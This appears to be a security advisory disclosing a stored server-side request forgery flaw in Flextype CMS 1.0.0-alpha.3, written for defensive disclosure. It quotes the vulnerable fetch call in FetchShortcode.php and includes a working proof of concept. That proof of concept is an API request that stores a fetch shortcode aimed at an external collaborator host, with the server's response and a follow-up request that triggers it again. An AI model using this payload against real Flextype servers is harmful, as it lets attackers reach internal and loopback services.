...[ More ]

🗓️ 04 Sep 2026 00:00:00Reported by Ron EType
Stored SSRF in Flextype CMS 1.0.0-alpha.3 via attacker-controlled fetch shortcode in entries.
Description
    
    Flextype CMS v1.0.0-alpha.3 contains a stored server-side request forgery
    (SSRF) vulnerability in its shortcode-processing functionality.
    
    Attacker-controlled entry fields can be automatically processed by
    Flextype's shortcode parser. The built-in fetch shortcode accepts an
    attacker-controlled resource and passes the resulting value to the
    server-side fetch() helper without sufficient destination restrictions.
    
    An attacker capable of creating or modifying an entry can therefore persist
    a fetch shortcode that causes Flextype to initiate an HTTP request from the
    server when the entry is processed.
    
    Testing confirmed that an attacker-controlled external destination was
    contacted and that the destination's HTTP response was returned through the
    processed entry. Subsequent normal retrieval of the stored entry caused the
    server-side request to occur again.
    Impact
    
    An attacker can persist server-side HTTP requests that are executed from
    the network context of the Flextype server.
    
    Depending on network configuration, this may provide access to HTTP
    services that are inaccessible from the attacker's network position,
    including loopback and internal network resources.
    
    Because the destination response is returned through the processed entry,
    the vulnerability provides non-blind SSRF.
    
    This vulnerability is distinct from SSRF through /api/v1/query because the
    affected execution path uses stored entry content processed through
    ShortcodesDirective and FetchShortcode, rather than direct expression
    evaluation through the Query API.
    DetailsAttacker-Controlled Fetch Resource
    
    FetchShortcode.php obtains the resource from shortcode parameters:
    
    // Get the resource parameter.
    $resource = parsers()->shortcodes()->parse($params['resource']);
    
    The resulting attacker-controlled resource is supplied to the server-side
    fetch helper:
    
    // Do fetch the data from the resource.
    $result = fetch($resource, $options);
    
    Proof of Concept
    
    An entry containing an attacker-controlled fetch shortcode was created:
    
    POST /api/v1/entries HTTP/1.1
    Host: 127.0.0.1:18086
    Content-Type: application/json
    
    {"token":"lab-token","access_token":"password","id":"shortcode-ssrf-proof","data":{"title":"(fetch:'http://042a59uugt4xtbocdx9ovyusvj1ap4dt.oastify.com')"}}
    
    Flextype returned the destination's HTTP response:
    
    {
      "reasonPhrase": "OK",
      "statusCode": 200,
      "headers": {
        "Server": [
          "Burp Collaborator https://burpcollaborator.net/"
        ],
        "X-Collaborator-Version": [
          "4"
        ],
        "Content-Type": [
          "text/html"
        ],
        "Content-Length": [
          "55"
        ]
      },
      "body": "<html><body>2trzdergwz6ntzdoje2rmtzjjgmgz</body></html>"
    }
    
    The entry was subsequently retrieved:
    
    GET /api/v1/entries?token=lab-token&id=shortcode-ssrf-proof HTTP/1.1
    Host: 127.0.0.1:18086
    
    The resulting entry again contained the response obtained from the
    attacker-controlled destination.
    
    This demonstrates that the server-side request originates from stored
    shortcode content and can be triggered during subsequent entry processing.
    Root Cause
    
    The vulnerability occurs because remotely controllable stored entry data is
    processed as shortcode syntax and FetchShortcode permits the shortcode to
    select a server-side network destination.
    
    The resulting resource is passed directly to:
    
    $result = fetch($resource, $options);
    
    without sufficient restrictions preventing requests to attacker-controlled
    or security-sensitive destinations.
    
    Ron Edgerson
    Vulnerability Researcher & Exploit Developer
    
    CVE Research | Binary Exploitation | Application & Systems Security
    Responsible Disclosure • Proof-of-Concept Development
    
    🌐 https://github.com/ob1sec
    🔗 https://www.linkedin.com/in/ronedgerson1
    <https://linkedin.com/in/yourhandle>
04 Sep 2026 00:00Current
5.7Medium risk
Vulners AI Score5.7